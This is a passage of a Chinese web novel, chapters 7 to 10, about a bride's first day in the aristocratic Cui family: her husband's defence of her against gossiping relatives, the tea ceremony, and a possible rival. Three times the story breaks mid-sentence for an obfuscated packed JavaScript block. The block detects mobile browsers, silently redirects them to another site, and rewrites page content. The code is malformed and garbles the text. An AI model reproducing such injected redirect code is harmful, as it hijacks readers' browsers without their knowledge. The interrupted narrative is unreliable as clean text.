她此刻还摸不透崔豫的态度,以及崔家内眷的关系,不宜冒进,想了想,拉住崔豫的衣袖,声音并未刻意压低,“夫君,我们走另一边吧。”她朝另一侧的甬路比手。 崔豫驻足,侧目而视,寻常的语调说道:“为何走那边?” 傅清漪眨了眨眼睛,笑容纯良,回道:“前边有人在说话,我们此刻经过,难免让她们尴尬。不如换条路,大家都方便。” 崔豫往院墙的方向瞧了一眼,墙内的声音早已戛然而止,显然傅清漪是有意为之,扫了二人的颜面,嘴里却说免得让她们尴尬? 这位傅娘子,表面看着柔弱可欺,骨子里却有自己的小脾气,果真是,泥人也有三分土性。 崔豫轻“哼”一声,不疾不徐道:“你这说法,倒是有趣。” “妾被退亲,外边人人都有议论,没道理不让崔家的内眷议论。”傅清漪诚恳且坦然地说道,“只不过,外边那些庸人俗物,非亲非故,出言无状,当面啐一口,大不了老死不相往来。可崔家却是妾的夫家,妾要与内眷们朝夕相处,理应有所包容。若是才过门便生了龃龉,传扬出去,丢的可是清河崔氏一族的脸。” 她这番话以退为进,明面上是说自己嫁进来,万事多要忍耐,实则是说,高门大户的内眷和外边的庸人俗物一样,都爱搬弄是非。 崔豫的脸色一沉,目光幽幽地盯着眼前这位小娘子,心知她绝不是逆来顺受的软杮子。 居上位者,沉下脸时,总会散发出冷漠疏离的无形压迫感,让人不敢正视,傅清漪自然也不例外。 她垂下头,维持表面的恭顺,但奇怪的是,她并没有感到害怕。想来是在卢夫人院子里,崔豫亲自现身,带她登堂入室时,已经让她明白,在这个家里,他会为她撑腰。所以此刻,崔豫就算不去追究两位女眷,也不应该对她发作。 静了片刻,傅清漪察觉身上的目光移开,接着便看到崔豫转身,目视立在不远处的黄氏和崔鸣琦。 只隔一堵墙,都不曾压低声音,崔鸣琦等人连装聋的机会都没有,赔着小心过来行礼。 崔豫的声调不高,但语气很是严厉,“大家女,世家妇,都是金尊玉贵养起来的,却在这里背后说人,尔等与市井小人何异?” 两位女眷被他的质问,吓得身躯一抖。崔鸣琦变了脸色,惶然看向黄氏。黄氏早已面露羞愧,贝齿紧咬朱唇,垂目不语。 崔鸣琦瞥了傅清漪一眼,仗着胆子,申辩道:“二哥,小妹背后说人虽不对,说的却是实话,并无虚言。”她并不掩饰自己的不满,直直地瞪着傅清漪。 傅清漪并不恼,腮边挂着一抹若有似无地笑,静观崔豫处置。 崔豫问道:“你所谓的实话,可有凭证?” 崔鸣琦仰脸看向他,不服气,“外边的人,都是这样说的!” “外边的人都这说,就一定是对的?”崔豫再次质问。 “我……”崔鸣琦一时语塞。 崔豫冷哼一声,“‘毋因群疑而阻独见,毋借公论以快私情’,看来你的诗书读得还不够通透,回去把《大学》篇抄十遍,日落之前交给我。” 崔鸣琦还想争辩,黄氏轻轻扯她衣袖,示意她不要莽撞。 “还有。”崔豫往前踏出一步,站在崔鸣琦面前,嗓音冷如枝上霜,“那些关于我和容娘子的谣言,都是你传的?” 崔鸣琦娇小的身形,被崔豫高大的身影挡住,傅清漪只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347578|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能听到,她慌乱地否认,“不是,二哥你信我,我没有出去乱说,就只和五嫂说了,我也不知道是谁传的。” 静默几息,崔豫告诫她道:“容娘子寄住在府中,既是远亲,亦是客人,我自认以礼相待,并无逾越行径。此等谣言毁人清誉,你不论身为崔家的六娘子,还是作为我崔豫的手足,听到都该制止,岂能不明事理,以讹传讹?罚你另去夫子那里,领十戒尺,可有不服?” 崔鸣琦含泪嗫嚅道:“是,小妹知错了……” 崔豫又对黄氏说道:“今日之事,我会如实禀明大伯母,你自去领罚吧。”最后,又对二人说道,“不论外界传言如何,傅氏已是府里的新妇,更是我崔豫明媒正娶的妻子。你们若有异议,尽管来同我说,若是再敢背后非议,可别怪我不客气!” 崔豫告诫完,侧身让开,露出一直站在他身后的傅清漪。 黄氏先会意,扯了下崔鸣琦衣袖,尴尬地朝傅清漪行礼,“二嫂恕罪,妾今日造了口业,回去定然闭门思过,再也不敢犯了。” 崔鸣琦大概觉得委屈,眼中含泪,当着崔豫的面不得不低头,“小妹知错,请二嫂恕罪。” 傅清漪原以为崔豫处置完,就会让崔鸣琦她们退下去,此事揭过不提。毕竟而他们相处长久,情分更深,有所维护也是人之常情,她是初来乍到,就算有意见也得憋着。 万没想到,崔豫会让二人亲口向她致歉。如此一来,不仅没给崔鸣琦和黄氏面子,更表明他的所作所为,就是为她在撑腰。 傅清漪心头蓦然间涌一股暖意,指尖掐了一把掌心,稳稳心绪,感激地看了崔豫一眼。 她温言对二人笑道:“金无足赤,人无完人,我自知过往有许多非议,而今嫁进崔家,内心盼望能与各位和睦友善。往后,我若有不足,也盼大家当面指正,我定会知错就改。” 二人讪讪地应着,告退。 耽搁了片刻,再次往上房走时,崔豫的脚步明显快了几分。转脸看她跟得吃力,吩咐婢女,“扶着她,走快些。”又对傅清漪道,“这个时辰,长辈们应该都到了,我们不宜去得太迟。” “是。”傅清漪心下也有些着急。 新婚头一日,去迟了恐怕要担个不敬长辈的名头。忍着膝上的疼痛,一路赶至上房,还是迟了。 满屋长辈在座,同辈和小辈们也都站得满满当当,两个人还未进门,就被里边无数双眼睛盯着打量。 傅清漪立时头皮发麻,心中打鼓,从小到大,她还是头一回被这么多人同时盯着。此时不便让婢女再扶,稳下脚步,留意行不摆裙。 原本步幅大的崔豫,此刻也放慢脚步与她并肩而行,她垂头低声道:“不必管我,你先进去吧。” 他先进去和大家说话,分一分他们的神,免得都盯着她瞧。虽然这会被认为,她不受夫君重视,但她也认了。崔豫却像没有听到,一直陪着她走完甬路,踏上石阶,两个人并肩跨进门槛。 家主崔孟泽,主母谢夫人,居中而坐,两个人身上透出不怒自威的严厉,让人难以直视。崔孟泽面容沉静,尤其是那双眼睛,仿佛能看穿一切般锐利,谢夫人身姿端正,目光炯炯,亦是一幅精明强干的模样。 谢夫人的右手边是卢夫人,此刻也是笑容淡淡,不似在扶疏园时那般亲切。 8. 第 8 章 傅清漪飞快地往上瞧了一眼,立刻不安地垂下眉眼。 迟到是极为失礼的事,在座的都是长辈,新婚头一日,来迟可不仅仅失礼,还很丢脸。 这个时候,不适合把遇到崔鸣琦,以及黄氏的事情拿出来解释。 崔鸣琦是三房的女儿,黄氏是三房的儿媳,长辈们都在,说出来扫他们的脸面,也更显得她这个小辈不会做事。 迟到就是迟到,找再多的借口,都找补不回来,索性低头认个错。想来明事理的长辈,也不会揪着不放。 傅清漪内心打定主意,耳边听着崔豫向崔孟泽夫妇行礼,说道:“小侄和新妇来晚了,有劳诸位长辈久等,是予安之过。” 予安,是崔豫的表字。 崔孟泽眉眼沉沉,没有应声。 卢夫人见状,看了谢夫人一眼,先行出声责怪,“二郎,新妇不懂,你也不懂?新婚头一日要拜见长辈,怎敢姗姗来迟,让众位长辈等?” 崔豫恭谨答道:“母亲息怒,儿并非有意不敬。儿六岁时,父亲仙去,幸得伯父、伯母不嫌弃儿驽钝,倾心栽培,谆谆教诲,儿才能有今日。只叹父亲不能亲眼看到这一切,儿沉溺伤情,难以自拔,幸有傅氏再三劝解……不想还是耽搁了时辰,请各位长辈宽恕。” 他这番话,把迟到的过错,都揽在他自己身上,把她摘出来了。 傅清漪的手指攥紧丝帕,抬眸看向崔豫轮廓分明的侧脸,原本平静的心湖,瞬间有万千心绪翻涌而上,从心头漫到指尖,让她怔在原地,周围得声音都模糊了。 崔豫说话时,起初还有人窃窃私语,听到后边,人人闭紧了嘴,时不时偷瞄主位上的三位。 卢夫人唇角噙着若有似无地笑,垂眸藏起眼中的情绪。 屋内的氛围变得凝滞。 谢夫人面露慈爱,打圆场道:“养恩虽重,但是生恩大过天。二郎识情重义,心里一直都装着生身父母,立志成才,要为他们争光露脸,若非如此,我与你伯父也难以完成你父母的托付。今日完婚,便是大人了,还不带着新妇给你母亲敬茶?往后你和新妇,一定要夫妻和睦,孝顺母亲才是。” 崔孟泽轻咳一声,也道:“‘哀哀父母,生我劬劳’,你父亲走得早,你母亲为抚养你长大,吃了很多苦头,为人子,要铭刻于心。往后不仅朝堂上用心,家宅里也要尽心,切不可再任意而为了。” 谢夫人眉眼微弯,朝旁边使了个眼色,伶俐的婢女近前奉茶,氛围这才重新变得热络。 新人双双跪在卢夫人膝前的红毡上,崔豫向上行礼,“儿携新妇,敬奉母亲香茗,愿母亲康泰。” 傅清漪手托茶盘,声音轻柔中透着郑重,依礼道:“新妇傅氏,敬奉母亲香茗,愿母亲康泰。” 卢夫人已然缓下神色,轻轻颌首,接过茶盏轻抿了一口,自有婢女接走。接着以银椀、彩缎赠给她,口中念道:“谨守妇道,宜室宜家。以茶为信,永以为好。” 礼毕,二人又向崔孟泽夫妇敬茶,接着便是其他几房的叔叔婶们,被赏了石榴子、莲子、彩缎等物。到了同辈那里,则是互赠贺礼,傅清漪知晓崔家人多,早已准备好数十件绣品。 一大家子热热闹闹,很快便将他们迟到的事抛之脑后。 四房的十一娘,名唤崔鸣瑛,年方七岁,拉着傅清漪的手,赞叹地说道:“嫂嫂生得真好看!和秋月姐姐一样好看。” “秋月姐姐?”傅清漪对这个名字印象不深,今日见的人太多,她只拣要紧的长辈记下,同辈们脸熟,但是和名字对不上。 崔鸣瑛指着一位妙龄女郎,笑道:“那就是秋月姐姐,她姓容,是我舅舅的女儿。” 容娘子? 傅清漪顺着她指的方向看过去,映入眼中的女郎气韵温婉,似阳春三月枝头的西府海棠,天生丽质,双眸盈盈剪秋水。乌发如云,点缀着两朵珠花,鬓边簪着羊脂玉珠穿成的步摇,在光影里温润生辉。 又是羊脂玉! 傅清漪立刻看向崔豫腰间,这东西什么时候不值钱了,她竟有幸,一日得见三回! 敬茶之后还有宴饮,一直热闹到巳时将尽。郎子们还还高谈阔论,女眷们在屋子里坐乏了,便揣着手炉到院子里透气,三三两两地攀谈,也是一种热闹。 傅清漪陪着卢夫人出来,廊下和四婶容氏一同围坐的都站起来,笑脸相迎。 “一家人,不必拘礼。”卢夫人摆手让她们坐,自己也在婢女摆好酸枝木椅上坐下,眼角含笑扫过众人,“远远地就听你们聊得热闹,说什么呢?” 年幼的崔鸣瑛最是活泼,抢先笑道:“在说二嫂嫂呢!”话音未落,便捂着嘴巴笑弯了眉眼。 卢夫人被她逗笑,软下嗓音,“哦?说你二嫂嫂什么?” 傅清漪站在婆母身旁,也噙着笑看向崔鸣瑛。 容氏握着藕合色绢帕,掩唇轻笑,接过话道:“自然是说傅娘子,模样标致,举止得体,当真是难得的妙人儿。与咱们二郎站在一处,十分般配。” 这个当口,来的亲眷,自然都是满口吉祥话。 卢夫人眉眼舒展,握住傅清漪微凉的手,在掌心里捂着。她眼底满是慈爱,说道:“承你吉言,只盼她和二郎和睦顺遂,举案齐眉,我这个做母亲的,便别无所求了。” 两位长辈说话时,傅清漪觉察有人一直盯着自己看,扭脸看过去,发现是容秋月。 被她发现,容秋月面上有一丝慌乱,立刻换上莞尔浅笑,向她颌首示意。 傅清漪也回了一个浅笑,移开目光,心里已然留神。来的路上,崔鸣琦提到的容娘子就是她,确实容颜出众,若说她和崔豫有什么,郎才女貌,倒是有几分可信。 坐在容氏身边的儿媳徐氏,忽然笑道:“真是巧得很,二嫂生在三月,容妹妹生在八月,两个人都是十六那日,当真是缘份。” 傅清漪分了一会神,不知她们怎么就说到生辰了。 徐氏打趣道:“容妹妹是八月十六的,取名秋月,二嫂是三月十六的,小字不会也有个‘月’字吧?” 其她人附和着笑,“果真如此,可就不是一般的有缘了。” 傅清漪的乳名确实叫月儿。 她父亲是个武将,没什么才学。因她生在子时,明月如镜,映照院中一泓清池,父亲就取给她取了清漪做名,月儿做乳名。 她常常想,清漪这个名还成,字面意思是水清澈而有波纹,考究起来还能说化用了《诗经》中的“河水清且有涟漪”。 但是月儿这个乳名就太过敷衍了,幼年淘气的玩伴,取笑她说,月儿这个名字,一听就像婢女会用的名字。 所以她不太喜欢这个乳名,表舅等人也叫她清漪。 两姓联姻,交换庚帖,上边会如实记录姓名、生辰、籍贯、甚至祖上三代。 卢夫人作为她的亲婆母,自然看过,也知道月儿这个乳名。 卢夫人拍拍傅清漪的手背,等众人笑完,眼底多了三分深意,“难怪老话说,冥冥之中,自有天意,两个月儿,傅氏倒是有辛拔得头筹。” 容氏等人闻言,笑容凝滞,彼此交换了个隐晦的眼神,含糊地应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347579|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“是啊,赶得早,不及赶得巧。” 傅清漪虽未参透其中关窍,却也听出卢夫人话里藏锋。 再想想先前的崔鸣琦,心中不由得泛起疑云——难不成崔豫与容秋月,未能结连理,是卢夫人从中阻拦?他们母子间的心结,是因这桩婚事而起? 傅清漪满心疑惑,此刻却不是问的时候。 崔鸣瑛仍惦记方才的话,眨着水灵的杏眼,好奇道:“二嫂嫂的乳名里,真的有个‘月’字么?” 傅清漪颌首轻笑,“是,我的乳名就叫月儿。” “月儿?”崔鸣瑛歪头看向容秋月,“秋月姐姐说,她生在中秋节后一日,其时明月在天,万里清风,正应了五柳先生的诗句,‘秋月扬明晖’,故此她的小字叫做名晖。二嫂嫂的闺名唤作清漪,乳名月儿,是……是……”她为难地抓抓额发,想不出哪句诗词贴得上,只好求教地仰脸看向傅清漪。 傅清漪哑然,名字虽是她的,但她读书不多,更加没有妥贴的诗句。 不过,众目睽睽看着,连自己的名字都说不出个子丑寅卯,也太过丢脸,立时盘算着,怎么搪塞过去。 “清漪濯明月,潋滟生光辉。”身后忽然响起的嗓音,疏朗似松风入弦,“傅翁取此意境为名,正合大巧不工之道。” 傅清漪顿觉眼前一亮,经此解读,面前铺陈一幅清冷长夜,明月高悬,波光辉映的画面。 原来她的名字,意境可以这样美! 连崔鸣瑛也拍手喝彩,“哇!原来二嫂嫂的名字,这样诗情画意!” 傅清漪转身时,崔豫已经走到她身侧,她感激的看过去——今日,他已为她解围三次。 二人目光交汇,崔豫墨色眼眸沉静如渊,让人瞧不出半分情绪。 “母亲,四婶。”崔豫一一行礼,“南康坊和嘉宁坊的几位叔伯要返程,儿带傅氏去送一送。” “好。”卢夫人扶着婢女的手起身,对容氏道,“还有几位妯娌,咱们也要去送一送。” 午间的日光,将飞檐镀上一层蜜色,崔府门前车水马龙。世家大族枝繁叶茂,除了升平坊这一支,还有不少旁支,多在南康坊、嘉宁二坊开府。 二十余辆马车排长龙,族亲们寒暄道别。傅清漪的礼行了又行,直站得膝头发酸,绣鞋底都挡不住青砖的寒气了。 终于送走了所有亲眷,谢夫人和卢夫人并肩在前,往府中走,感慨地笑道:“有段日子没见这么多族亲了,借了二郎的喜事,大家才能聚在一处,好好说说话。” 卢夫人附和着笑道:“幸好大家都肯赏脸,才能聚得这样齐。今日这么大的排场,千头万绪,多亏嫂嫂费心操持,才能处处周到,可真是辛苦嫂嫂了。” “咱们两个说这种话,岂不是生分?”谢夫人揉着手臂问道,“我院子里有新制的蜜糖梅子饮,酸甜适口,可愿去我那里解解乏?” “求之不得。”卢夫人回头看了眼傅清漪,“这孩子在跟前,实在拘束,不如让她先回去歇息吧。” 谢夫人点点头。 卢夫人如此体贴,傅清漪简直要感激涕零,“多谢母亲和伯母体恤。”压下心头的欢喜,恭敬地目送两位长辈离开。 待两位夫人的身影消失在月洞门后,她松了口气。揉揉笑僵的脸颊,转身往新房所在的春萦斋走,脚步都轻快了许多。 身边只有王傅姆和两名婢女陪着,行至一处院落,隔着花木丛,瞧见院内走出一主一仆。主人在前,远远瞧着身量纤细,粉蓝襦裙如烟似雾,步履轻盈,宛若蝴蝶。 是容秋月。 9. 第 9 章 容秋月跨过门槛,抬头便看见了她们,怔了下,隔的距离远不便出声寒暄,敛容盈盈一礼。 傅清漪还礼,二人相视一笑。 容秋月带着婢女离开后,傅清漪问王傅姆,道:“那位容娘子,是府里的亲眷吗?今日在廊下有长辈,我没能和她说上话。” 王傅姆回道:“她呀,是四夫人的娘家侄女,家道中落,四夫人就把她接过来暂住。” 听她答得轻飘飘的,傅清漪扬眉轻笑,索性点破,“我听她们的话,可是话里有话啊。” 廊下说话时,王傅姆也在,自然明白她在问什么,沉吟了下,点点头,“既然如此,便不瞒娘子了。” 王傅姆摆手让另外两个婢女走远些,才低声告诉她。 四夫人容氏是续弦,娘家兄弟不争气,撑不起门户,她便总想着帮衬娘家的小辈们。这两年又开始撮合娘家的女孩,和崔家小辈亲上加亲。 而崔家适龄的郎君,早有家室,未成家的实在太小,年龄不相衬,只有二郎崔豫一直拖着。 容氏娘家有两位年纪相当的娘子,曾多次登门探望姑母,容氏带着给卢夫人看过。 卢夫人明白她的心思,奈何崔豫一门心思都在仕途上,从来不曾松口,卢夫人只好装糊涂。 拖得久了,容家的两位娘子耗不起,便各自找了人家。 容秋月多年寄住在外祖家,去年及笄礼后,容氏邀她来崔家小住,一住就到了现在。 和府里的郎子们,低头不见抬头见,后来卢夫人琢磨过味儿来,人家还在想结亲的事。 容秋月比容家先头那两位都好看,生得水灵,性子柔静。卢夫人曾说,若是崔豫点头,也不是不能成全。 崔豫这人素来冷淡,不苟言笑,对待家中的妹妹们,和弟兄一样很严苛,尤其爱在课业上挑他们的错处。倒是夸赞过容秋月,恵质兰心,字和画都极好。 卢夫人见他对容秋月有所不同,便央着谢夫人询问过他的心意,结果当场就被崔豫拒了,二位夫人听他话说得坚决,此事便撂下了。 但容氏并不死心,往卢夫人那里叨扰多了,卢夫人便有些烦,只是碍于妯娌情分不好意思说太直白。 崔豫如今完婚,没能近水楼台,容氏还有容秋月,多半是心里不痛快,故而在廊下,才与卢夫人话中藏锋。 王傅姆劝慰道:“娘子不必放在心上,您是二郎君明媒正娶聘来的娘子,上边有夫人照应着,她们再不情愿,也不敢造次。” 傅清漪心知,若王傅姆说的是实情,崔豫和容秋月倒成了襄王无梦,神女有心。论起来,容秋月的出身比她要好,识文断字,字和画都得到了崔豫的赞誉,又有四婶容氏相助,怎么就错失姻缘呢? 她按捺不住好奇心,打探道:“我瞧着秋月娘子相貌俊俏,实在是赏心悦目,她还是四婶的娘家侄女,亲上加亲也是一桩美事,夫君为何会拒绝呢?” “这个……”王傅姆轻声叹了口气,“夫人说二郎君的原话是,‘自己醉心仕途,无意娶妻,不想误了佳人,此事无须再提。’究竟是怎么回事,不得而知。许是个人有个人的缘法,强求不得吧。” 这种说辞,傅清漪一个字都不信,嫌弃道:“他是这样说的?既然‘醉心仕途,无意娶妻’,怎么现在又肯娶了?” “这个……奴婢就不知道了,二郎君的心思,岂是奴婢能揣摩透的?”提到旧事,王傅姆欣然笑道,“说来倒也稀罕,去年冬月里,二郎君忽然说心仪傅娘子你,想聘为正妻,夫人唯恐他反悔,忙不迭地央了顾夫人登门提亲。” 所以,世人皆知,崔豫心仪傅娘子,才聘为正妻。却无人知晓,他们压根不认识,话都没说过,真不知道,他所谓的“心仪”从何而来? 尤其是想到昨夜,洞房花烛,他看她的眼神,像看屋中的摆件,傅清漪愈发认定,此人言行不一。 同时,她也更加好奇,崔豫葫芦里卖的什么药?定要找个机会,问一问。 两个人慢慢往前走着,王傅姆感慨颇多,“二郎君自小寡言,不爱和人说心里话,而且他自己认准的事,一定要去做,即便是家主也很难劝说,夫人更不想伤了母子之间的和气。故此,他年过双十,都没有要成家的意思,夫人、大夫人和家主都急得不行,又不敢催得太紧。夫人私下说过,他们早就有了默契,只要二郎君自己愿意,是个身家清白的娘子,他们便不会阻拦。” 王傅姆絮絮说了许多,也没能解开她的疑惑。 回到春萦斋坐下,婢女们送进来果子和茶点。傅清漪揉揉还在肿痛的膝盖,让众人出去,只有王傅姆没动。 “娘子,请恕奴婢直言。”王傅姆的目光在她膝上瞟过,试探道,“今早奴婢发现您的腿,一直不良于行,不知是娘子有意为之,还是昨夜……发生了什么?”问完,她便直直地盯着傅清漪,唯恐错过什么似的。 傅清漪闻言忙将腿往桌子底下藏,喉咙发紧道:“晨起更衣时,不小心撞在柜子上了。”她才不好意思承认,昨夜摔下床了。 “哦,原来如此。”王傅姆看似松了一口气,却不错眼珠地盯着她看,“伤得厉害么?” 傅清漪知道她不肯信,嘴上仍坚持,“没事,一点都不厉害,你不用放在心上。” 王傅姆若有所思,忽然古怪地轻笑一声,立刻掩住嘴巴,傅清漪不禁恼羞成怒,“傅姆笑什么?” 知道她在扯谎,还当面笑出来,让她多没面子啊! 王傅姆忍笑,摇头,“没什么,等会儿奴婢去给您找些伤药,擦一擦好得快。” 傅清漪红着脸圆谎道:“你不要笑,我说的是真的,我真是磕伤的……” “奴婢听到了,娘子不必着急。”王傅姆轻抚她的手臂安抚,温言说道,“娘子须记得,奴婢现在是娘子的人,此生定会尽心侍奉娘子和郎君。若有什么,您可以放心告诉奴婢,奴婢保证不会传出去半个字!” 傅清漪对王傅姆的保证,很难不心动,在崔家,她确实需要一个忠心可靠的人。 王傅姆谆谆善诱,“所以,昨夜洞房里的事,您也无须瞒着奴婢。奴婢到底是过来人,总能为娘子剖析一二……” 傅清漪正想解释昨夜什么都没发生,眼角的余光瞥见,房门处多了一道身影,接着传来一声轻斥,“王傅姆!” 不知崔豫何时回来的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347580|199545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在那里,面容冷肃,眼中凝了一层冰寒的墨色,吓得人一哆嗦。傅清漪更是心里“咯噔”一下,慌忙起身,拘谨地看着他,不知他因何就恼怒了。 王傅姆也收敛起神色,赶忙迎上去,向崔豫行礼,“拜见郎君。” 崔豫看了她片刻,语气又低又冷,带着某种压抑的愤怒和嫌弃,“出去!” 王傅姆愣了下,脸色变得发白,没敢吭声,头垂得更低,倒退着出了门,并关上了雕花木门。 房间里只剩他们两个,崔豫审视着她,一步一步走近。他身上的冷意扑面袭来,傅清漪惊得后退两步,不由自主握紧衣角,连话都忘了说。 两两相望,最终是崔豫先开口,语气比喝斥王傅姆时,好不到哪里去,“你们两个,在说什么?” 傅清漪收拢心神,摇摇头,“没、没什么。” 他显然不信,声音高了两分,“没什么?” 傅清漪拍拍自己的右腿,解释道:“在说妾的腿伤。”她眼巴巴地看他,希望他不要在旁人那里,拆穿她受伤的真相,小声说道,“妾跟她说,是今早更衣时,撞到柜子伤的。” 崔豫瞥了一眼她的右膝,态度仍然冷漠,“方才王傅姆向你表忠心了?” 他是介意这件事?傅清漪忙道:“王傅姆是母亲安排的,想来是母亲信得过,又熟知如何侍奉夫君的人。妾初来乍到,许多规矩不懂,难免要请王傅姆指教。她那样说,不过是给妾台阶罢了。” 说到这里,她忽然想起花烛夜,王傅姆将他堵在门前,不允许他和小厮临渊说话,许是将他得罪狠了,只是碍于卢夫人的面,他才没有发作,但是心里讨厌王傅姆,也不想她与之亲近。 幸好自己方才没有因为一时心动,跟王傅姆多说什么。唉,王傅姆虽然是婆母安排的人,她不能得罪,但崔豫是她夫君,甚至连婆母都要顺着他的决定,所以她更不能得罪的是崔豫。 她赶紧表态,“夫君若是不喜,妾以后定会谨言慎行,少和王傅姆说话。” 静默片刻,无形的压力开始消弥。 “你在内宅,也不能没有可用之人。”崔豫语气转厉,“只有一件,你要牢牢记住:闺房里的事,一个字也不能说给旁人!” 傅清漪原本没听太懂,眼见他的耳朵尖泛起淡淡红晕,顿时福至心灵,也跟着脸上发烫。她小声嘀咕道:“我又不是傻子,怎么可能什么都往外说?” 崔豫没有回答,而是轻哼一声,表示对她存疑。尔后,他转了话锋,“你的伤怎么样了?”他自衣袖中取出一只白瓷圆肚瓶,修长白净的手指捏住瓶口递来,“这是万灵膏,可消肿止痛、拔毒散淤。” 傅清漪点点头,“多谢夫君。” 她抬手去接,他却没有立刻放手,“可以自己涂么?” 难道他想帮忙?傅清漪顿感惶恐,杏眼瞪得溜圆,匆忙抢过,“当然可以!” 崔豫怔了怔,反应过来,颇为嫌弃,“是你不愿意让别人知道,你的腿怎么伤的——我只想提醒你,自己涂,免得被人看出端倪。” 原来是自己想多了,傅清漪脸上隐隐发烫,转身匆忙进了内寝,好半天才缓过这口气。 10. 第 10 章 挽起衣裙,露出伤处。 这一上午又走又站,白净的膝盖上,已是红紫交错,肿起一个小包。 傅清漪倒吸了口凉气,越看越心疼自己,连动作都轻柔了。 取案几上的小匙,挑起棕黄色药膏,慢慢地涂上去。药膏一接触肌肤,凉意渗入皮下,肿胀处的疼痛很快见轻。 真好用!多涂一些,给整个小包都厚厚地盖了一层,膝盖顿时凉嗖嗖的舒服多了。 膝头敷着大片药膏,不能遮盖,也不宜走动,索性躺在床上,闭上眼睛歇一会儿。早上起得早,又见了许多人,早就乏了。 等她再睁开眼时,不知过了多久,肚子已饿得咕咕叫。 膝盖的药膏,看上去已经干了。腿脚收回又伸展,除了有厚重的紧贴感,疼痛差不多能忽略掉。手指轻轻戳了下,很像凝固的胶,但外壳不沾手,也不必担心沾染衣裙了。 傅清漪心里高兴,麻利地整理衣服起床下榻,撩着裙子睡觉,也不知有没有婢女进来过?侧耳倾听,屋子里静悄悄的,似乎只有她自己。 走出内寝,抬眼看见崔豫坐在侧室的梨木榻上,手中捧着一卷书,看得很是专注。 他已褪去厚重氅衣,只穿枣红圆领袍,露出颀长的腰背。日光透过海棠窗上的雪白窗纸,在他脸上洒下一层柔光,肤色愈发白净,衬得眉眼更如工笔描摹般俊秀深邃。 他生得好看,即使光影亮堂堂的照着,也挑不出不好。这样光彩夺目的人,竟成了她的枕边人?真像做梦。 “发什么呆?”崔豫翻过一页书,目光仍落在上边,仿佛不是在跟她说话。 她停在步步锦地罩外,咬咬嘴唇,答非所问,“我是不是睡了很久?” 崔豫道:“一时二刻。” 一时二刻,也就是说,现在是未时过半,难怪她饿了。 这个时辰,他已经吃过饭了?怎么也不叫她一声呢?该不会要饿着肚子,等晚上那顿吧?看崔豫专注的模样,她也不好意思多打扰,悄悄走开。 幸好她出去时,正在廊下收拾花草的婢女棋语,立刻起身问道:“娘子醒了?饿不饿?渴不渴?” 傅清漪揉揉肚子,不好意思地笑,“确实饿了。” “好,奴婢这就去给您取午食,您先回房等着。” 不多时,棋语、琴心和画意三个婢女,麻利送来饭菜,四碟精致小菜,配着一碗热气腾腾地粳米粥,香味儿诱人。 傅清漪瞧见画意轻轻迈过落地罩,走到梨木榻旁边,俯身在崔豫耳边低语,不知道她说了什么要紧事,竟让崔豫从书页里抬眼,点点了头,接着摆手示意她退下。 画意转身时撞见傅清漪的目光,愣了下,随即恢复如常,坦然回到饭桌旁,帮着摆碗筷。 傅清漪这回笃定了,画意并不把她放在眼里。 昨晚花烛夜,王傅姆引着一众婢女给她见礼时,她便留意到,画意打量她的眼神带着些许轻慢。 初来乍到,以为是彼不熟,画意又不擅长讨好所致。 此刻,她就在屋子里,画意也不避讳,在崔豫身边耳语。被她撞见,也没有丝毫心虚,反而一脸淡然。 王傅姆引见时说过,画意和另一个叫书锦的婢女,十岁上下被拨到崔豫身边侍奉,如今是春萦斋的一等婢女,常在书房伺候笔墨。 现在想来,画意是仗着在崔豫身边侍奉得够久,又得力能干,才敢对她这位刚入门的新妇不够恭敬。 傅清漪面上不露声色,心想:往后在这宅院里,且走着瞧吧! 崔豫不仅读书专注,用饭也专心,且适量而止。 傅清漪跟他同桌而食,备感压力,幼年上学堂时,先生盯着背读,都不及现在拘束。 他每口都细嚼慢咽,仪态端正的像尊玉像,害得她用饭也慎之又慎,唯恐发出声响,往后的日子怕是难熬,光这一日三餐,就够小心翼翼的。 饭后,婢女们收拾了东西退出去,房间里又剩下他们两个人。 崔豫回到侧室,继续读书,书页翻动的声音,在安静的房间里格外清晰。 傅清漪无所事事地转了两圈,瞧瞧墙上贴的红色囍字,再看看悬挂的红纱幔帐,最后望着床榻上的红色鸳鸯被,轻声叹了口气,这才新婚头一日呢,已经开始腻了。 从内寝折回明堂,抬头瞧了瞧,崔豫还在认真看书,似乎已经忘记了她这个新婚妻子的存在。 这可不成,她以后要在崔家立足,还要倚仗他呢!纵使没有宠爱,至少也要获得重视,不然两个人朝夕相对,总面对一张冷脸,对她的眼睛不好,连婢女都轻慢她。 且试试,能否更近一步。 